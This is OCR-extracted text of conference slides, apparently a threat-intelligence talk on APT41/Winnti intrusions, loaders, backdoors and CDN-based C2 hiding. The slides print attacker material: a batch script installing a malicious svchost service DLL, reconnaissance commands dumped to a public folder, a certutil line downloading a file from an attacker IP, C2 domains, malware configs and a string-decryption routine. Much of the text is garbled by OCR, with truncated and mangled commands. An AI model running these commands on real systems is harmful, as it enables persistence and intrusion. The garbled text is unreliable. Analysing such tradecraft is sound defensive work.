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Who is Winnti?




Winnti? APT417?

 Winnti = APT41 ?

« APT41 = Chengdu404 ?

e Under APT41, it can be
divided into several
groups via different
techniques and targets

* The targets are very wide.
It is suspected that MSS
has integrated the
resources, attack
techniques, and tools to
make this group looks
bigger.

Ministry of State Security of
the People's Republic of
China(MSS)

Integration?

APT10 APT41 APT17

Fishmaster | Amoeba GroupCC Unknown
/TAG-22 Group ‘&
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Winnti is Coming - Evolution after Prosecution

Compromise



Initial Access

Covid-19 : Weekly status updates

Foete Awaiting Test
- 'h“
HGC 1 -

Compulsory Test Order
1.1 staff (NSDO) living in¥an Shek House, Shek Yarn Estate. Will WFH until

testresult released.
W
1.1 staff (SCFY) will WFH until 27 Jan 2021 after back to HK from China

» CVE-2021-34527(printnightmare) —

2. UK- T4 Lockdown ; urtil further notice
3. Malaysda- Conditiond Movement Control Order; until 4 Feb

+ CVE-2021-26855(proxylogon) & St ey g v
S. S Korea- COVID1S Warning Level 25 ; until end Jan
6. Thailand - travel order restrictions; until end Jan
Work-on-shift : overseas office
1. Philippines

+ SQL vulnerabilities o - oy

1. UK- T4 Lockdown ; until further notice
2. India - until further notice

+« phpmyadmin vulnerabilities
+ Web vulnerabilities

+ Flash installer

+ Fake Decoy Icon

Summary of COVID-19 Handling_26 Jan.pptx




Webshell Access

90 TUQWUW] OLi J/PIVUUT/UDD/ CAGDDACU/ YALD/ DAAK/ CUNLLLUL upTaL

36 +0800] "GET /probe/css/classic/gifs/progressbar microsoft

36 +0800] "GET /probe/css/classic/gifs/browser galeon.gif H

38 408001 "POST ’n*h%@,atn';*“~rpl*‘ﬂ a“a;fgobann=i2fjﬁc§3'

38 +0800] "POST /probe/appreqdetails.ajax?>webapp=/doc HITP/

38 +0800] "POST /probe/appprocdetails.ajax?webapp=/doc HITP/1
"GET /doc/ HTITP/1.1" 404 959

o
G

T /doc HTITP/1.1" 302 =-

0 "GET /doc/ HTTP/1.1"™ 404 959
0 "GET /doc/yi.3jsp BRITP/1.1" 200 16

] ace 2P RIiP/i.1" 200 10
0 ] "POST /doc/yi.jsp HITP/1.1" 200 16
0800] "POST /doc/yi.jsp HTITP/1.1"™ 200 176
0800) "POST /doc/yi.jsp HTTP/1.1" 200 176
0800] "POST /doc/yi.jsp HITP/1.1"™ 200 713




Probe plugin

< C @ ® 127.0.0.1:8080/probe/adm/deploy.htm v o U W N @ © &

“ . . . Application deployment
Version 3.5.1 running on WIN-14JPOR75QI7, UF for 34 days 8 hours 44 minutes

Applications Data Sources Deployment Logs Threads Cluster System Connectors Certificates Quick check

Upload application (basic

Upload a .war file to the server. If context name is not specified the file name will be used.

Select a .war file to upload *

FEEE -

Context name (ex. /dummy)

] Update the application if it is already deployed
[l Dpiscard "work" directory if exists
] Precompile J5P pages after application is deployed (could take few minutes)
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Webshell Upload

[@1/
[e1/
[01/
LoLs
[e1/
[@1/
[e1/
[@1/
[01/
[e1/
[@1/
[@1/
[e1/
[e1/
[ei/
[e1/
[e1/
[@1/
[e1/
[01/
real s
[01/
- [e1/
admin
admin

"GET [P HTTP/1.1" 302 -
"GET |[/probel/ HTTP/1.1" 461 951
“GET |[/probel/ HTTP/1.1* 401 951
ac|

“GET

"GET

“GET

"GET

“GET

"GET

"GET

"GET

"GET

"GET

"GET

"GET

"GET

"GET

"GET

"GET

"GET

"GET |/probe| HTTP/1.1" 302 -
"GET |[/probel/ HTTP/1.1" 481 951

Be@@] "GET [/probe/ HTTP/1.1" 200 4170

Be@@] "GET |/probel/cssfclassic/tables.cs

HTTP/1.1" 28@ 852
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Catalina Log

ig.deployWAR Deploying web
ig.deployWAR Deployment of
ig.deployWAR Deploying web
ig.deployWAR Deployment of
ig.deployWAR Deploying web
ig.deployWAR Deployment of
ig.deployWAR Deploying web
ig.deployWAR Deployment of

Lg.deployDirectory
ig.deployDirectory
ig.deployDirectory
Lg.deployDirectory
Lg.deployDirectory
ig.deployDirectory
ig.deployDirectory
Lg.deployDirectory
Lg.deployDirectory
ig.deployDirectory

Deploying web
Deployment of
Deploying web
Deployment of
Deploying web
Deployment of
Deploying web
Deployment of
Deploying web
Deployment of

application archive C:\Program Files\Apache Software Foundation\Tomcat 9.0@\webapps\docl.war]

web application arch .ve [C:\Program Files\Apache Software Foundation\Tomcat 9.@\webapps\docl.war] has finished in [406] ms
application archive C:\Program Files\Apache Software Foundation\Tomcat 9.@\webapps\probe.war]

web application arch.ve [C:\Program Files\Apache Software Foundation\Tomcat 9.@\webapps\probe.war] has finished in [5,382] ms
application archive C:\Program Files\Apache Software Foundation\Tomcat 9.@\webapps\tom.war]

web application arch ve [C:\Program Files\Apache Software Foundation\Tomcat 9.@\webapps\tom.war] has finished in [16] ms
application archive C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\webshell.war]

web application archive |L:\rProgram riles\Apacne >OTTwWare roundatlon\iomcat Y.v\weDapps\WeDsnell.war] nas Tinlsnea 1n [1Z5] ms

application directory [C:\Program Files\Apache Software Foundation\Tomcat 9.@\webapps\docs]

web application directory [C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\docs] has finished in [15] ms
application directory [C:\Program Files\Apache Software Foundation\Tomcat 9.@\webapps\examples]

web application directory [C:\Program Files\Apache Software Foundation\Tomcat 9.@\webapps\examples] has finished in [359
application directory [C:\Program Files\Apache Software Foundation\Tomcat 9.@\webapps\host-manager]

web application directory [C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\host-manager] has finished in
application directory [C:\Program Files\Apache Software Foundation\Tomcat 9.@\webapps\manager]

web application directory [C:\Program Files\Apache Software Foundation\Tomcat 9.@\webapps\manager] has finished in [31] |
application directory [C:\Program Files\Apache Software Foundation\Tomcat 9.@\webapps\ROOT]

web application directory [C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\R0OOT] has finished in [@] ms

13



"WORK_DIR=C:\Win

“DLL_NAME=S

"SERVICE_NAME=StorS

"DISPLAY_NAME=Storage

"DESCRIPTION=The Storage Sync Servi 1s tl lev sourt r Fi Sync. It creates sync relationships with multiple

4P

- stop %SERVICE_NAME%

sc delete XSERVICE_NAME%

dir %WORK_DIR%

"%~dpO%XDLL_NAME%" "%WORK_DIR%" /Y

g add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost “%SERVICE_NAME%" /t REG_MULTI_SZ /d “"%SERVICE_NAME%" /f
- create "%SERVICE_NAMEX%" binPath= "%SystemRoot¥%\system32\sv .exe -k %SERVICE_NAME%" type= share start= auto error= ignore
C failure "%SERVICE_NAME%" reset= 86400 actions= restart/60000/restart/60000/restart/60000

c description "%SERVICE_NAME%" "%DESCRIPTION%"

‘eg add "HKLM\!

YSTEM\CurrentControlSet\Services\%¥SERVICE_NAME%\Parameters"

og add "HKLM\SYSTEM\CurrentControlSet\Services\%SERVICE_NAMEX%\Param rs" “ServiceD1l" /t REG_EXPAND_SZ /d "%WORK_DIR%\%DLL

start "X¥SERVICE_NAMEX%"

/all >>c:\users\public\i txt
statistics workstation >>c:\users\public\i txt
s /query /fo LIST /v >>c:\users\public\i txt
user >>c:\users\public\i txt
ymic product get name,version >>c:\users\public\i txt
undl132 c:\users\public\ch .dll, Yg FuCpk
sklist /V >>c:\users\public\i Ext
1c service list brief >>c:\users\public\i . EXT
irt >>c:\users\public\i , EXE
/domain_trusts >>c:\users\public\i £t
>>c:\users\public\i xt
~tutil -urlcache -split -f http://7 9:80/22.txt



Scan by Shodan

Using Probe
EH#,6,33%

Unused Probe
E4,12,67%
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Post-Compromise



New TTPs
)

« Certificate bypass Dot llce ders

ult loader

+ DIl hollowing technique
«+ InstallUtil
+ Early bird code injection

+ CDN service and Cloudflare worker

+ Some new backdoor



Timeline for disseminating the Cobalt Strike

- Use CDN service in - Use certificate - Use funnyswitch to

Cobalt Strike, bypass and dIl load Cobalt Strike
especially DNS hollowing and use early bird
beacon technique in code injection
Chatloader technique
@
O - - 0, —
Use Cloudflare Use multiple .NET

Chachaz20 worker to hide real loaders and

shellcode or C21IP misuse InstallUtil

loader(Chatloader) to load Cobalt

appeared to 2020.11 2021.3 Strike 120216

extract Cobalt
strike Beacon

18



ertificate bypass(MS13-098

utdll.dll x

B ntdll mod.dll x
¥  Edit: ST i Temp

TWICENO1

[—fp | BUEE |Zelf S0 | LEAHEA | g
— _, AT
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Microsoft Wi, shal 20108115208, BEEE
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Chatloader

+ Uses chacha20 algorithm to decrypt the payload
+ Most of the payload is Cobalt Strike, but we have also seen another backdoor

+ ETW bypass
+ DIl hollowing

0x0:0xB config nonce
OxC:0xF Ox4 config crc32
0x10:0x13 Ox4 config_enc_length
Ox14:0x14+config_enc config_enc_length ciphertext
_length

0x100:0x120 0x20 config key 50



Header:8BD6488B

Ox4
Ox4
Ox4
Ox4
Ox4
Ox4
Ox4

InjectedProcess
Name
Length(x2)

Ox4
Ox4

Payload Name
Length(x2)

Ox4
Ox4
Ox4
OxC

Header
Check User is SYSTEM
Mutex trigger
Delete Loader trigger
Patch EtwEventWrite trigger
Process Hollowing trigger
Injected Process Name Length(x2)

InjectedProcess Name

Payload in Loader
Payload Name Length(x2)

Payload Name

Payload Size
Payload FilePointor
Payload crc32

Payload Nonce

Header:CB2F29AD
| length |
Ox4 Header
Ox4 Check User is SYSTEM
Ox4 Mutex trigger
Ox4 Delete Loader trigger
Ox4 Patch EtwEventWrite trigger
Ox4 Payload in Loader
Ox4 Payload Name Length(x2)
Payload Name Payload Name
Length(x2)
Ox4 Payload Size
Ox4 Payload FilePointor
Ox4 Payload crc32
OxC Payload Nonce

21



Chatloader config example

====== Decrypt Config ======

Config Nonce (12 bytes) = 0xb5 0x5e 0x14 0x8d 0x46 Oxel 0x2e 0x97 0x5d 0x3d 0x75 Oxf1

Config Nonce (base64) = tV4UjUbhLpddPXXx

Config CRC32 = Oxe Oxdc Oxac Oxad

Config CRC32 (base64) = DtysrQ==

Ciphertext length = 48

Config Key = 0xa2 0x42 0x99 0x5 0x5f Ox1f Oxc 0x14 Oxcb Oxdd Oxb 0x1 Oxdf Oxab Ox4c 0x34 0xf5 Oxfd 0x3 0x3c Oxa7 Oxf1 Oxaf 0x30 0xa0 Oxc7 Ox5¢ 0x57 0x35 0x9d 0x41 0xe0
Config Key (base64) = okKZBVS8fDBTL3QsB36ZMNPX9Azyn8a8woMdcVzWdQeA=

Head = Oxad 0x29 0x2f Oxcb

Check User is SYSTEM =0

Mutex trigger = 0

Delete Loader trigger = 0

Patch EtwEventWrite trigger = 1
Payload in Loader = 0

Payload Name Length = 14

Payload Name = Despxs.dll

Payload Size = 3f800

Payload FilePointor = 0

Payload CRC32 = 0x40 Oxf6 Ox8f Oxa7
Payload Nonce (12 bytes) = 0x93 0x49 0x68 0x79 Ox6a Oxda Oxb5 Oxcf OxfO Oxf1 Oxb3 Ox4f

22



DIl Hollowing

Synchost.exe’s
Module

libEGL.AII

: Kernel32.dll

wlbsctrl.dll

[\ User32.dll
@ DIl hijack
launcher dlil hollowing aaclient.dll
L Load module
Create
Process Find target dll in » payload
@ » System32
Synchost.exe ;::cgioesni. dil

DLL Hollowing: Inject
malware payload in

aaclinet.dll’s .text section <>



DIl Hollowing (cont.

off 126815806 ;
{ wcsicmp(FindFileData.cFileName, *vE)

5] SyncHost.exe (5560) - FIE5 . 8

Hide free regions

| Genersl | Statistics | Performance | Thueads | Token | Modules | Memory | Environment | Handles | GEU

I Diigk and Metwork Cu:um.msnt|

[

Base address

» O Fedc0000

» OxFaee00O0

» O Fafed00n

> OxFefednoo

» Oy Ff0e0000

» Qw7 fednno

» Owff210000

» OxFfee96e0000

4 Oy Ffef4e50000

Ox 7Ffef4e50000
Ox7fef4e51000
Ox7Ffef4e63000
Ox 7Ffef4e 75000
Ox7fef4e73000

Type

Image
Image
Image

Mapped
Private
Private

Image
Image
Image
Image
Image
Image
Image
Image

: Commit
: Commit
: Commit
: Commit
: Commit

Size
1,148 kB
1,000 kB
1,700 kB
1,024 kB

15,360 kB
64 kB

56 kB
420 kB
172 kB
4kB
728

72 kB

12 kB

12 kB

Protection

WCX
WCX
WCX
R
R
R
WCX
WCK
WCX

R
WC
R

Use

C\Windows\System32kernel32.dll
C\Windows\System32iuser32.dil
C\Windows'\System32\ntdll. dll

USER._SHARED _DATA
CWindows\System32\SyncHost, exe
C:\Windows\System32WinSync. dll
C\Windows\System32\aadient. dil
C\Windows\System32\aadient.dll
C\Windows\System32\aadient.dll
C\Windows\System32\aadient. dil
C\Windows\System32\aadient. dil
C\Windows\System32\aadient.dll

https://github.com/forrest-orr/phantom-dll-hollower-poc

Total Ws

236 kB
108 kB
534 kB

20 kB

4kB
28 kB
43 kB
88 kB
4kB
72kB
4kB
4kB
4kB
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https://github.com/forrest-orr/phantom-dll-hollower-poc

.NET loader

3%

InstallUtil.exe KBDHE475.dlI \ .

kstvmutil.ax

2.Read File
and decrypt

Rt Ay
1

System.Configur
ation.lnstall.Inst
aller

loader(obfuscation by
Weh]3:3 ConfuserEx)

\s/ | NET
AN

3.Inject {@} ﬁ
Use InstallUtil to bypass application payload via

allowlist restrictions.

Process
Hollowing

sdiagnhost.exe

Payload:

cobalt strike or
other backdoor:
ex: Natwalk

25



.NET loader structure

Version 2.63
offset 38(h) — md5 hash of offset 48 until end
47 offset 0-3 must be 1F A4 3A AC
offset 48-53 Sha256 as AES key offset 4-7 the length of the payload
offset 54-67 MD5 as AES IV offset 8 - end malware payload

offset 68 - end  Encrypted payload with AES(ECB)  After decryption

Version 17.102 ‘

offset 84(h) -93 md5 hash of offset 48 until end

offset 0-3 must be OC CO 73 95
offset 94-9f Sha256 as AES key
offset 4-7 the length of the payload
offset a0-ab MDS5 as AES IV
offset 8 - end malware payload

offset ac - end  Encrypted payload with AES(ECB)
26



Funnyswitch loader

+ Name from ptsecurity*, which will inject .NET backdoor funny.dll in memory

+ We found new version loader(mcvsocfg.dll) which may target McAfee user
o E:\VS2019_ Project\while_dll_ms\whilte\x64\Release\macoffe.pdb

+ Another:
E:\\VS2019_Project\\prewhiltedll\\x64\\Release\\prewhiltedll.pdb

+ We found the new loader inject Cobalt Strike and funny.dll

uFurrEHtPrﬂcEﬁz. Bx28u, &TokenHandle) )

2468(v1e, payload 1888159F@, @x3FAGBuiG4);

G o
return (v11)(v1l);

Cobaltstrike funnydll 57

*https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-
backdoors-old-and-new/



https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/
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Charlotte loader

sec 9eminl check.dll
(MD5:8c5a174bbcd93e988bcb8681b542708f)

EEOE RETEE

P o~ o

Timestamp 2021-06-15 06:30:23

Tweets

p sec 9emint
\\,,.. | have released charlotie.py, a fully undetected c++ DLL shell code
launcher ;) load inject
9emini1/charlotte
Simple Charlotte

Net loader loader Cobaltstrike




Early bird code injection Loader

+ Using open source Alaris loader* to use
syscalls to run cobalt strike

+ Load PNG resource as payload and decrypt
with RC4

+ Using Detour to hook the Freelibrary API of
the launcher

+ Using early bird code injection technique
o NtTestAlert
+ KiUserApcDispatcher

*https://github.com/cribdragg3r/Alaris

29


https://github.com/cribdragg3r/Alaris

New version loader

E

Windows
Installer

\/ Get \

Computername
N\ (shal) as rc4 key to
decrypt payload
msdtc.exe oci.dll cobalt strike
(bind TCP)

\_ /




Fishmaster loader

+ PDB : C:\Users\test\Desktop\fishmaster\x64\Release\fishmaster.pdb
+ Some have “Bidenhappyhappyhappy” in strings

\ b—b-‘- ‘
ERFRAL 1N

+ Two ways to decrypt payload
+ Xor with hardcode key, ex:” Bsiq_gsus” or “miat_mg”
+ Use UUIDShellcode and callback function

r(va7, "Bsiq_gsus");

1loc(hHeap, 8, Ox488uibd);

FromStringA( (RPC_CSTR)off_148017A08[1], Uuid) )

++HUuid;

if { !lpLanguageGroupEnumProc )
return -1;

ageGroupsA(lplLanguageGroupEnumProc, lu, @i64});




32

loader used by GroupCC

Temp.tmp * winprint.exe first reads a piece of shellcode from the payload
file and then opens rundll32.exe, calls RtICreateUserThread to
run the first stage shellcode in rundli32.exe

* The first stage shellcode will read the payload file again, use
VirtualAlloc to allocate memory in rundll32.exe, and inject the
payload and decrypt it, finally, it will call EtwpCreateEtwThread
to move the thread to the starting point of the cobalt strike.

1.Read File

/ 3.Inject

shellcode in

4 .Read File
rundll32 GroupCC
2.Create \ [ i
rundll32.exe '

Process

winprint.exe

________

5.decode

v

Stage_1l.shellcode cobaltstrike

rundll32.exe
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Backdoor



APT41’s Backdoor during 2020-2021

Natwalk Wlnntl
Linux RAT

Funnydl|

Shadowpad

Cobalt strike

HIGHNOON

34



* <?xml version="1.0" encoding="utf-8"?> <Config Group="redacted"
u n n Password="test" StartTime="0" EndTime="24"
WeekDays="0,1,2,3,4,5,6"> <TcpConnector
address="4iiiessb.wikimedia.vip" port="443" interval="30-60"/>

</Config>

Base64+AES

decry|:>1:/v

v

mcvsocfg.dll Stage_1l.shellcode Funny.dll

Al

3%

Js module

*https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41- 35
backdoors-old-and-new/



https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/

Funnydll

+ In 2020, the config of funnydll is plaintext, in 2021, the config will decrypt by

funny.core.run which using AES and base64
+ Command, protocol, and js module are same as 2020*

g wold ]'|1Ethn:ui_1-11k string string 30

(string_ 3, Core.

throw new Exceptlon{'no config");

1f {(documentElement . JetNamedI tem "Debug" ) 1= mall)

Filef@tream data = new FileStrean( ] ( . [}, Process,
z , Filea , )
fspplomaln., JhetDatal "DebugFile?

(@string, new ohject[0]);
method_1();
ata( "Core", this);

Hnllode namedltem = documentElement . JretNamed I tem{ "Password");

JToStringl) + " tmp"),

36



Shadowpad

+ APT41 used the new builder of shadowpad in 2021, which was mentioned in
Ptsecurity’s report* which used new obfuscation method and decryption
method for configuration

+ We think this builder was a shared Tool, because we have also seen Naikon
Team use this builder

+ Md5 of the loader:3520e591065d3174999cc254e6f3dbf5

def decrypt_string(src):
key = struct.unpack("<H", bytearray(src[:-1))["]

data_len = struct.unpack("<H", bytearray(src[:41)[] The method to decrypt the
data = src[/:“ +data_len]

result = " string of the configuration

while(i < data_len):

tmp = key

tmp +=tmp

key = key + ((tmp * 8 ) & ) +

result += chr(((HIBYTE(key) + BYTE2(key) + BYTE1(key) + LOBYTE(key)) * ord(datalil)) & )
i+=1

return result

*https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-
backdoors-old-and-new/



https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/

Shadowpad config example

id =6/18/2021 11:26:19 AM

Messenger = TEST

Binary Path = %ALLUSERSPROFILE%\Microsoft\WinLSAM\

Binary Name = LSAM.exe

Loader Name = log.dll

Payload Name = log.dll.dat

Service Name = SystemAssociationManager

Service Display Name = System Association Manager

Service Description = This service provides support for the device association
software. If this service is disabled, devices may be configured with outdated
software, and may not work correctly.

Registry Key Install = SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Registry Value Name = LocalSystemAssociationManager

Inject Target 1 = %windir%\system32\svchost.exe

Inject Target 2 = %windir%\system32\wininit.exe

Inject Target 3 =

Inject Target 4 =

Supposed to have 4 server

Serverl = TCP://1dfpi2d8kx.wikimedia.vip:443

Server2 =

Server3 =

Server4 =

Socket 1 = SOCKS4

Socket 2 = SOCKS4

Socket 3 = SOCKS5

Socket 4 = SOCKS5

DNS 1 =28.8.8.8

DNS 2 = 8.8.8.8

DNS 3 =8.8.8.8

DNS 4 = 8.8.8.8

config offset:0x96
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Shadowpad Decryption Routine

Old Version

Quicklz]

)
.
2,
-
S
-
~
. E
- ‘r' ) ) -
\ Y ~ .
& - >
¥
. .
-
-~
- ’
v
:

.-
AY
-
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Shadowpad Decryption Routine

New Version

Shadowpad
Decrypt_A

Shadowpad Quicklz
Decrypt_B Decompress

TCP Packet

40



Natwalk

+ Dropped by chatloader
¢ First seen in the wild in 2021/3, and first seen on VT in 2020/9
+ Shellcode based backdoor
o It uses register + offset to call the Windows api (also used by crosswalk)

+ The name is from the unique file path it will look up :

“%BAllUserProfi

le%\UTXP\nat\”

o o o

44: 8042 30
FF33 CO0040000

|

B e TR e e
E&ll gword ptr ds: [rbx+4C0]

48: BEEE DOOOOO0OO
48: 8941 10
48: BEE3 DOOODOOOO
48: BE48 10
48: B5C9

~ 0FB4 BAOOD00O0
45:83C1 10
FF23 CO030000
45: 8653 DOOOOOOO

mov gword ptr ds:[rcx+10],rax
mov rax,qword ptr ds: [rbx+D0]
mov rcx,gword ptr ds: [Frax+10]
test rox,rcx

je FFEF1421AC7

add rcx,10

E&ll gword ptr ds: [rbx+3C0]

mov rax,gword ptr ds: [rbx+D0]

rbx = 7FEF1431534

000007FEF1431580
000007 FEE
FFEF1431530
000007FEF1431598
000007FEF14315A0
000007 FEF14315A8
000007FEF14315E0
000007FEF14315E8
000007FEF14315C0
000007FEF14315CE
000007 FEFL143215D0
000007FEF14315DE
000007FEF14315E0
000007 FEF14315ES
000007FEF14315F0
000007FEF14315F8
000007FEF1431600
000007FEF1431608
000007 FEF1431610
000007FEF1431618
000007FEF1431620

rdx+30: L "KcgeNrF”
Rt1AallocateHeap

Rt1InitializeCriticalsection

000000007 70333A0
BCBOFCEB10C 32616
Q00000007 6DEZOF0
BCEOFCEE45BEO6DEC
000000007 6DDTF 700
SCEOFCEBI6A422A5
000000007 6DCD130
BCBOFCEBBEOB4EFS97
000000007 6DCE350
BCBOFCEBC1634AFS9
Q00000007 6DEZSFO
BCEOFCEEEF4AC4E4
000000007 6DDSESO0
SCBOFCBBEEBS 85EE
000000007 6DDF1E0
BCBOFCEB9FCFS97B
000000007 6DCADTO
ZE95413BL5DZ2EGDGE
000007 FEFES ELOOOD
ZE95413BE5DE66970
000007FEFESEL1DED

ntdl1.Rt1AllocateHeap

kernel32. HeapFres

kernel322. GetModuleFileNamew

kernel22. GetComputerNamew

kernelz2. verityversionInfow

kernel32.wideCharToMultiByte

kernel3z.MultiByteTowideChar

kernel322. ExpandEnvironmentStringsw

kernelz2.Createdirectoryw

msvert.memset

41

msvcrt.memcpy




Natwalk(cont.

+ Transport protocol
+ Raw TCP socket

« HTTPS:Post requests to C2 server
+ gtsid : generated by CryptGenRamdom
+ gtuvid : generated by CryptGenRamdom and md5 operation
+ Uses chacha20 md5 to encrypt/decrypt the message to/from C2 server

00000000 78 00 00 00 fe Ob fe Ge badl 7172 30 8a2d 2d ... .qul -
POST https: ./ cdn. cdnfree.workers.dev/8wsjKviHnSkKIGYh/ wxcaguhs446XfcGl HTTP/ /1.1 Q0000010 bOBY? db 04 Bb 001946 Oe9d 49 4e 0201243 . k.F IN. .
Cache-Control: no-cache 00000020 ac 56 83 97 48 ¢ 43 32 08 ff ee 54 0c 04 54 0f ¥ HCZ 0].]
§E2533F1ﬁgic§§ﬁg‘““‘& 00000030 47 40 57 44 £1 a7 4f22 74 670964 da 77 8980 G@WD.0O" lzdw..
User-Agent: Mozilla/5.0 Chrome/72.0.3626.109 Safari/537.36 00000040 81 8203 9:4085e376 ObcH B0 afBb b2 el BB Ly ...
gtsTd: Tamdre 00000050 20 22 e De 02 A3 ba d1 44 06 65 64 61 7a6b 37 02, _edazk?
id: SAG7EBEG6941DEBED130EQ3C29E7FSAT B06E0A0AFSADBEF4560FE323916FFO8CDAL oOoOO0E0 92 24 36 04 62 4f af f1 06 a0 32 Ad 1d c2 3 05 JAB0.  Zm =
Host: cdn.cdnfree.workers.dey DDESSSESDED?TDI;SSSSEB225& 42 4e Be &) . p..CO* "N
Il r.] OD# ' DO0OkOPpO< 00000004 £4 90 5a &l 24 49 62 79 £5 42 44 be 54 57 5275 Z=ljy B.TWSn raw TCP
'®#00 00 C \OL0 o+ S4ONs> "z 'm |10 Z O3N{~ 0 Oi\h .0 :s w1 D 00000014 &7 00 £2 1363 51 1h6f Oa62 Oc faea 84 6149 2 Qo bjo.
00000024 1528 41 A8 ce 21 e 07 728540 df 81 a7 b3 a5 & l= 1. ..
00000034 db b £8 68 32 ee ca 30 65 3b £5da7h bd 64 63 W2 De; {d.
00000044 4054 af a2 7h e7 11 4a ch {822 06 36 142550 @].{.J #8.F
00000054 Za b7 dedbel 03280 03hd Be 0l cd ed 2370 %3 #y
the post request of Natwalk 00000064 94 6f 9 1807 84 63 ca 578b bE974735ba {2 0.0 W. 5%,
00000074 10 £2 Oe 78 ¥

42



Natwalk(cont.)

+ Crosswalk also uses register + offset to call the Windows api in shellcode
s First command code are both Ox64

+ But commands are different

43



Natwalk(cont.)

Software\Microsoft\Windows\CurrentVersion\Intern

et Settings command description

ProxyServer Ox64 Close sessions

texplorer.exe

) 0Ox5C Update the ChaCha20 key for
(o) (o)
%AllUsersProfile%\UTXP\nat\ C2 communication

%02X
POST Ox66 Change the current status
Mozilla/5.0 Chrome/72.0.3626.109 Safari/537.36 Ox74 Terminate all threads
gts'df Ox78 kill process
gtuvid: -
https://msdn.microsoft.com WRee ST (plugHI
https://www.google.com 0x82 Enumerate user info
https://www.twitter.com Ox8c Send config to C2
https://www.facebook.com

Ox8E Load additional config

Unique string in the bottom of Natwalk



HIGHNOON(Botdll64)

WmiApSrv.exe

Al

3%

DIl hijack

wbemcomn.dll

|IAT modify

B
>

sdhasjk.dll
Decrypt

payload with
DPIAPI/AES

Injection

User mode

Kernel
mode

(1) packet

g Windivert.sys

Botdll64.dll

HIGHNOON

(2a)
Matching
packet

Packed with
UPX in

Reflective Windivert.dll HulSaels%

(3) re-
injected
packet

A 4

o

(2b) non-matching packet

45



HIGHNOON Loader

DPAPI version
“F:\2019\RedEye\Door\Bin\Middle64.pdb” AES version

snprintf(&Source, @

choose the driver determined by the dwMinorVersion 46



HIGHNOON command

+ Command is same as the HHIGHNOON mentioned by Macnica* in 2018

command description

0] Bind Network Socket
1 Check IP address change and
Receive Packet, Console Output
3 Console Output
4 Read //DEV//NULL and Console
Output
5 Check IP address change and

Receive Packet, Console Output

47
*https://hitcon.org/2018/pacific/downloads/1214-R2/1330-1400.pdf



https://hitcon.org/2018/pacific/downloads/1214-R2/1330-1400.pdf

Winnti is Coming - Evolution after Prosecution

*Me trying to hide my feelings in front
of my crush*

C2 Hiding (D




CDN service

+ Https beacon : direct use CDN service to hide real C2 IP
+ Ex: microgoogle[.]ml

Resolve Location

M 104.21.80.190

M 172.67.153.74 s

+ DNS beacon

Real C2 IP

MNatwork ASN First Last
104.21.80.0/20 13335 2021-06-11 2021-07-23
172.67.144.0/20 13335 2021-06-11 2021-07-23

> ns.cloud@l1.tk
Server: cruz.ns.cloudflare.com
Address: 108.162.192.88#53

Non—-authoritative answer:
*** Can't find ns.cloud@l.tk: No answer

Authoritative answers can be found from:
ns.cloud@l.tk nameserver = dc—e07ce2b@85ac.cloud@l.tk.
> server dc-e@7ce2b085ac.cloud®l.tk

Default server: dc—e@7ce2b085ac.clouddl.tk

Address: 185.118.166.205#53

> ns.cloud@l.tk

Server: dc—-e@7ce2b085ac.cloud@l. tk
os5— 185.118.166.205K53

Non-authoritative answer:
Name: ns.cloud®l1.tk
Address: 8.8.8.8

Source

riskiqg, kaspersky

riskig, kaspersky

nsl.hkserch.com

No resolution

49



parks their DNS

beacon C2 domain on

some specific IP, ex: m
8.8.8.251,4.2.2.2 8.8:8.251

O W o

38804.ns1.dns-dropbox.com

42838 .ns1.wystedba tep 1183 bfbe.ns10.newtrendmicro.com 202d3dfe.godaddy2 bani.pw

® ® @ @

fa@37b2.ns.cdnE .t

1889¢cceb2. ns1.hkserch.com 3b91ddb2.ns1. microsofts freeddn: 3052eSbesync.alibabacsaoyz 25801 .ns2.dnsdropbox.com

® o ®

202d3¥He.godaddy . banl. pw 34436 .ns1.wystedba top 1183 bfbe.nsd. newtrendmicra.com

.

BEEER



Cloudflare Worker

+ use Cloudflare Workers as redirector to hide the real C2 domain and IP

) " o=t} - g CX=11

o—Il o—Il

o=l o=l

Victim proxy Real C2

Cloudfare worker

cdn.cdnfree.workers.dev

51



Fastly (GroupCC

pypi2-python.org

4

pypi2-python.org.global.prod.fastly.net

4

Real C2 IP

Hosts

Hosts are used as backends for your site. In addition to the IP address and port, the information is used to uniquely identify a
domain.

o J

ts.test-domainfront.com

' *;’pypiZ-python.orgﬂE..
!

BeaconType - HTTPS

Port -443

SleepTime - 1000

MaxGetSize - 1398119

Jitter - 10

MaxDNS - Not Found

Publickey_MD5 - 9ee3e0425aded426afO0cb07094aa29ebc

C2Server - pypi.python.org,/latest/pip-check

UserAgent - Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36

(KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36

HttpPostUri - /latest/check

PipeName - Not Found

DNS_lIdle - Not Found

DNS_Sleep - Not Found

SSH_Host - Not Found 0 o o 0
SSH_Port - Not Found

SSH_Username - Not Found Resalutions Whois Certiflcates Subdomains
SSH_Password_Plaintext - Not Found

SSH_Password_Pubkey - Not Found

SSH_Banner - Host: pypi2-python.org

Watermark - 426352781

Procinject_AllocationMethod - VirtualAllocEx
bUsesCookies - True

HostHeader - Host: pypi2-python.org
52


http://pypi2-python.org.global.prod.fastly.net/

Winnti is Coming - Evolution after Prosecution

Relation to other operations



Connection of

APT41 and
fishmaster operation

12b69709687ed40ab2fGdh8dac8ece 98

ITW Url /

Y

K 168.138.137.235 /

®

ZkdcOuss wikimedia.vip

- = IR case
’_I n —

Funnyswitch ‘q‘ | ‘!) |

dropper which 4inessb.\;;im;dia.wp 1dfpi2dBlocwikimedia.vip

cobalt strike

g B &
